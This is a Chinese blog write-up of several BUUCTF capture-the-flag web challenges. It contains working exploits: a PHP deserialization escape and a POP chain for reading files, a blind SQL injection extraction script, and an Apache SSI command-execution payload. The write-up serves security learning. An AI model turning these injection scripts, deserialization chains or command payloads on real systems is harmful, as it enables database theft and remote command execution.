[BUUCTF] 集训第五天

最新推荐文章于 2022-06-30 21:55:14 发布
最新推荐文章于 2022-06-30 21:55:14 发布
阅读量561 收藏
点赞数
分类专栏： CTF 文章标签： php 代码审计
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/dannie01/article/details/120583709
版权

[MRCTF2020]PYWebsite

查看源码

    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证！");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确！");
        }
      }else{
        alert("请输入授权码");
      }
    }

输入的validate code的md5值要==0cd4da0223c0b280829dc3ea458d655c
解密你就输了
在这里插入图片描述看看/flag.php
在这里插入图片描述
你可是黑阔鸭 IP呀 伪造呀
在这里插入图片描述

[0CTF 2016]piapiapia

  • 源码泄露
    dirsearch扫描不出，dirmap可以
    在这里插入图片描述

  • 代码审计
    弱项

先审计index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>

用户名和密码长度不得超过3，怪不得sql注入一直invalid
观察到session和重定向profile.php，初步判断可能是session反序列化，然而并不是，只是正常的反序列化

审计profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

观察到很重要的函数unserialize，
其实当时拿到源码判断session反序列化的时候就应该全局搜索unserialize

观察到file_get_contents()，反序列化结束和利用的标志，如果我们把$profile[‘photo’]替换为config.php，则可以利用文件内容读取 config.php中的$flag，

之前全局搜索flag审计到的config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

重定向update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

传四个参数，phone，email，nickname，以及photo。
进行正则表达式的过滤，赋予到$profile变量中。

然后这里很重要的整理思路是，反序列化入口是nickname，我们利用nickname带入数据，进而带入profile，最后反序列化利用

观察到serialize函数，update_profile()函数，跟进

跟进到的class.php

  • 反序列化字符逃逸

审计class.php

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

update_profile（）

	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

filter过滤（利用点）

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

利用where替换hacker五个字符逃逸出34个";}s:5:"photo";s:10:"config.php";}字符

使其从nickname逃逸到photo，从nickname逃逸出，"};将前面的nickname数组闭合之后，剩下的s:5:“photo”;s:10:“config.php”;}就会被当作photo的部分了，至于后面的upload，由于被后面";}结束反序列化，也就被丢弃，这样就实现了config.php的读取

同时由于对nickname的长度限制，用数组绕过

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

在这里插入图片描述
抓包单独修改nickname为nickname[]，改值

在这里插入图片描述
base解码获得config.php，flag在其中

所以具体步骤：

注册账户
登录账户
随意提交一些资料抓包
修改nickname为nickname[]，数组绕过长度检测
修改nickname中的内容

[极客大挑战 2019]FinalSQL

在这里插入图片描述重点肯定是在新功能上，而不是登录框，点击选择2，标签和id就已经提示这是注入页面

盲注学习

  • 异或
    1^1=0
    0^0=0
    1^1^1=1
    构造
    1^(1=1)^1
    尝试一下，?id=1^(1=1)^1，回显正常
    Click字符可作标志
    在这里插入图片描述

1^(1=1)^1

"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d)^1"%(i,mid)

i，mid是循环参数 对应%d %d

ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d
从第i个字符取，匹配ascii码，匹配成功则返回1

  • 二分法

思想：
在这里插入图片描述
code:

for i in range(1,300):
    low = 32;
    high = 127;
    mid = (low+high)//2;
    while(low < high:
        payload%(i,mid);
    res1 = requests.get(url=payload)); //匹配成功
    res2 = requests.get(url=payload)); //实际字符<匹配字符
    res3 = requests.get(url=payload)); //实际字符>匹配字符

    if 'Click' in res1.text:
        flag+=chr(i)
        print flag
        break
    if 'Click' in res2.text:
        high=mid-1  //匹配字符缩小到左边范围
    if 'Click' in res2.text:
        low=mid+1   //匹配字符增大到右边范围

这里和常规的二分找数思想不太一样的是，有序排列的是可见ascii码范围，匹配成功的时候也就是找到数字的时候

非常值得学习的payload：

import requests
import re
import string

s = requests.session()
url = "http://1df680f4-abaa-4be5-aa84-88365c38caf0.node4.buuoj.cn:81/search.php"
table = ""

# 关于二分法的算法：https://blog.csdn.net/u012194956/article/details/79103843
for i in range(1, 300):
    print(i)
    low = 32
    high = 128
    while(low <= high):

        mid = (low + high)//2
        # 爆库名
        #  1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1)^1

        '''
        payload11 = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d)^1"%(i,mid)
        payload12 = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))<%d)^1"%(i,mid)
        payload13 = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,mid)
        '''
        # 爆表名
        #payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))=%d)^1"%(i,mid)
        '''
        payload11 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))=%d)^1"%(i,mid)
        payload12 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))<%d)^1"%(i,mid)
        payload13 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
        '''

        # 爆字段名
        #payload3 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,mid)
        '''
        payload11 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,mid)
        payload12 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))<%d)^1"%(i,mid)
        payload13 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
        '''

        # 爆字段值
        #payload4 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%d)^1"%(i,mid)

        payload11 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%d)^1" % (
            i, mid)
        payload12 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (
            i, mid)
        payload13 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (
            i, mid)

        ra11 = s.get(url=url + "?id=" + payload11).text
        ra12 = s.get(url=url + "?id=" + payload12).text
        ra13 = s.get(url=url + "?id=" + payload13).text
        if 'Click' in ra11:
            table += chr(mid)
            print(table)
            break
        if 'Click' in ra12:
            #print ("'low='+%d + 'high=' + %d"%(low,high))
            high = mid - 1
        if "Click" in ra13:
            #print ("'low='+%d + 'high=' + %d"%(low,high))
            low = mid + 1

很多无用信息，记得调整循环范围

[MRCTF2020]Ezpop

PHP构造pop链时的魔术方法

__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

看到几个可以利用魔术方法，再确认序列化利用类型=>文件包含 include

__wakeup()  将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() 用于从不可访问的属性读取数据
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发

pop链逻辑：

  1. __wakeup()
    this->source = “index.php” source被当做字符串所以调用Show类中的__to string.

  2. __toString()
    $str=new Test(),因为Test类中没有source，直接触发__get()魔术方法

  3. __get()
    让$p=new Modifier(),以函数形式调用又能触发__invoke()魔术方法

  4. __invoke()
    最后让Modifier类中的var为我们要读取的flag.php

Show::__wakeup => Show::__toString => Test::__get => Modifier::__invoke

exp:

<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
	public $source;
	public $str;	
    public function __construct(){
        $this->str=new Test();
    }
}

class Test{
	public $p;
    public function __construct(){
        $this->p=new Modifier();
    }
}

$x=new Show();
$x->source = new Show(); // 这一步不太明白，后来加上才是正确的exp
echo urlencode(serialize($x));

有一道 大同小异的题目，做做看

  • 源码泄露
    源码泄露总是扫描不到，检查发现都是字典问题
    复习一下最近遇到的源码泄露
.git
index.php.swp
www.zip
WEB-INF/web.xml

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

其中get_hash()函数限制了password值经过MD5加密后的前六位值等于6d0bc1，然后在public目录下创建shtml文件，并以get_hash()函数返回值作为文件名，将POST方式传入的变量username的值写入文件中。

首先编写Python3脚本，爆破出MD5加密后前六位为6d0bc1的密码：

import hashlib

for i in range(1000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)
        print(a)

发现url
在这里插入图片描述
在这里插入图片描述

  • Apache SSI 远程命令执行漏洞复现

SSI：SSI（服务器端包含）是​​放置在HTML页面中的指令，并在提供页面时在服务器上进行评估。它们允许将动态生成的内容添加到现有HTML页面，而无需通过CGI程序或其他动态技术提供整个页面。

漏洞原理：
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用 语法执行命令。

使用SSI(Server Side Include)的html文件扩展名，SSI（Server Side Include)，通常称为"服务器端嵌入"或者叫"服务器端包含"，是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

payload：

<!--#exec cmd="cat ../f*"-->

题目中username被写入了shtml文件，所以将其值修改为payload
记得访问对应的url和shtml文件
在这里插入图片描述

J1A
关注
专栏目录
五月集训(第11天) —— 矩阵
英雄哪里出来
05-12 750
第11天
2024年全国青少信息素养大赛python编程复赛集训第九天编程题分享
最新发布
IT_Scratch的博客
06-22 395
在庄严的国歌声中，五星红旗冉冉升起，小明看到国旗上的五个五角星，想要用Python画一个红五角星，你可以帮帮他吗?当然如果使用了Pen0命令，只要程序是正确的，阅卷时依然按照正确处理。编写一个程序，其功能为:从键盘输入任意三位整数，计算这个整数的百位数字、十位数字、个位数字之和，以及它们的平均值，并输出计算结果。当然如果您使用了，只要程序是正确的，我们阅卷时依然按照正常处理。1.了解输入与输出的概念，掌握使用基本输入输出和简单运算 为主的标准函数；4.了解变量的概念，掌握变量赋值及使用的方法；
BUU WEB刷题记录1（持续更新）
Sapphire037的博客
05-19 1211
啊
[MRCTF2020]PYWebsite
qq_52907838的博客
07-27 328
打开环境，是要让你购买flag，点击buy it now，出现了一个二维码： 肯定不是真的给钱买，但抱着好奇的思想我还是扫了一下： 就知道是这样，那我们就看一下源码，发现了一段代码感觉有用： function enc(code){ hash = hex_md5(code); return hash; } function validate(){ var code = document.getElementById("vcode..
Merak CTF2020 web
0xdawn的博客
04-03 722
Ez_bypass I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; ...
MRCTF复现
weixin_44377940的博客
04-02 1472
目录Misc千层套路ezmiscWebEzpop套娃pyflagez_bypass传马ez_auditEzpop_Revenge Misc 千层套路 和BJDCTF的一题一样，密码为文件名，重复解压，脚本跑就完事了。 ezmisc 修改行高。 Web Ezpop 点开即可看到源码，如下： <?php //flag is in flag.php //WTF IS THIS? //Learn...
火线100天2016中考数学复习集训第5讲二次根式
08-19
火线100天2016中考数学复习集训第5讲二次根式
GESPC++ 一级 集训第二课
06-05
### GESPC++ 一级 集训第二课 #### CCF 编程能力等级认证简介 中国计算机学会（CCF）发起并主办的Grade Examination of Software Programming (GESP)是一项面向青少年的计算机与编程能力认证项目。该项目旨在通过...
火线100天广西专版2016中考数学复习集训第3讲整式
08-19
【火线100天广西专版2016中考数学复习集训第3讲整式】这篇资料主要聚焦于中考数学中整式这一重要知识点的复习，包括整式的概念、整式的运算以及因式分解等内容。以下是这些知识点的详细说明： 1. **整式的基本概念*...
进阶技术培训（20200709）
对CTF什么都不懂的陈
07-09 582
练习1 [MRCTF2020]你传你????呢 测试了下上传图片，会回现显路径 上传改后缀php3，phphtml等报错 空格不可绕过 .可绕过 .htaccess也可绕过 flag{b8c8d3d5-5bb8-44b6-9e44-a5a3fdd3a655} 练习2 查看源代码发现如下提示 function enc(code){ hash = hex_md5(code); return hash; } function validate(){ va
BUUCTF [MRCTF2020] PYWebsite
Senimo
01-05 575
[MRCTF2020]PYWebsite 考点： 1. 启动环境： 提示需要购买flag，首先对题目进行信息收集，查看网页源码时，发现： <script> function enc(code){ hash = hex_md5(code); return hash; } function validate(){ var code = document.getElementById("vcode").value; if (c
8月8日刷题
Realiy的博客
08-08 411
[网鼎杯 2020 朱雀组]phpweb f12发现有post数据 hackbar看一下 是call_user_func()函数，用file_get_contents读取一下index.php <?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate",
BUUCTF刷题记录[HFCTF2020]BabyUpload——涉及session反序列化
u013119911的博客
06-30 1591
点开就是源代码，直接进行代码审计
2020-08-10
Realiy的博客
08-10 199
9号是个懒狗没做题 [GKCTF2020]老八小超市儿 打开之后各种瞎点没有思路，大佬wp告诉我这种时候就要找管理后门，后门地址/admin.php，用户admin密码shopxo。 登录之后主题插马，先下载一个默认主题，将马插到里面再上传 之后从主页图片看到页面地址 http://8c45f2f9-5337-49d1-921b-2c712fe6aa66.node3.buuoj.cn/public/static/index/default/test.php 蚁剑连上 根目录找
CTF web总结
热门推荐
giantbranch的专栏
04-09 8万+
欢迎光顾我的新博客：https://www.giantbranch.cn 本文链接：http://blog.csdn.net/u012763794/article/details/50959166 本文根据自己的做题经验及各大练习平台不断更新，若我最近懒了，没怎么更新，请在下面提醒我或鼓励我 仅作为自己的笔记及刚入门的童鞋，大牛勿喷 基础篇   1.直接查看源代码   http:/...
【Writeup】Boston Key Party CTF 2015(部分题目)
企鹅学coding~
03-05 1万+
假期试着做了一下这场美国的CTF比赛，无奈题目看了一遍都没什么想法，只好等比赛结束再学习了。在这里总结一下通过此次比赛学到的姿势。 以下是六道php代码审计题目。 1.Prudential   I don‘t think that sha1 is broken. Prove me wrong. 代码如下： level1 <?php require 'flag.p
国家集训队2018论文集PDF版发布
资源摘要信息: "国家集训队2018论文集" 是一份包含了在2018年国家集训队活动中产生的论文的文档。集训队通常是由特定领域或学科的优秀学生组成，他们被选出来进行强化训练和学术交流，旨在提升他们在该领域的知识...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值